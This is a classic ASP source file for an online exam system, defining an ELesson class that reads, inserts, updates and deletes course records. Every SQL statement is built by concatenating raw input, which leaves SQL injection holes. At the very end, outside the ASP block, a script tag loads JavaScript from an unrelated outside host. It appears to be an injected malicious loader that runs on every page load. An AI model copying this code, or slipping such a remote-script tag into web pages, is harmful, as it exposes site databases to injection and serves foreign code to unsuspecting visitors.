elesson.asp

通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务

<%
  '本类用于保存对表ELesson的数据库访问操作
  '表的每个字段对应类的一个成员变量
  Class ELesson
    Public LId    '课程编号
    Public LName  '课程名称
    Public rs       '结果集
    Private strSql  'SQL语句
    '读取单个课程信息
    public sub GetLessonInfo(LId)
      '创建Recordset对象，处理查询结果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '设置rs的ActiveConnection属性，绑定到连接
      Set rs.ActiveConnection = Conn
      '设置游标类型
      rs.CursorType = 3
      '设置查询的SELECT语句
      sql = "SELECT * FROM ELesson WHERE LId=" & LId
      '打开记录集
      rs.Open sql
    end sub
	
	'获取所有课程信息
    public sub GetLessonlist()
	  '创建Recordset对象，处理查询结果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '设置rs的ActiveConnection属性，绑定到连接
	  Set rs.ActiveConnection = Conn
	  '设置游标类型
	  rs.CursorType = 3
	  '设置查询的SELECT语句
 	  sql = "SELECT * FROM ELesson Order By LId"
	  '打开记录集
	  rs.Open sql
    End Sub

	'插入课程信息
    Public Sub InsertLesson()
      strSql = "Insert Into ELesson Values('" & LName & "')"
      conn.Execute(strSql)
    End Sub
	'修改课程信息
    Public Sub UpdateLesson(LId)
      strSql = "Update ELesson Set LName='" & LName & "' Where LId=" & LId
      conn.Execute(strSql)
    End Sub
	'删除课程信息
    Public Sub DeleteLesson(LId)
      strSql = "DELETE FROM ELesson WHERE LId=" & LId
      conn.Execute(strSql)
    End Sub
	'判断指定的课程名称是否存在
	Public Function HaveLesson(LName)
	  strSql = "Select * From ELesson Where LName = '" & LName & "'"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
        exist = False
	  Else
        exist = True
	  End If
      HaveLesson = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>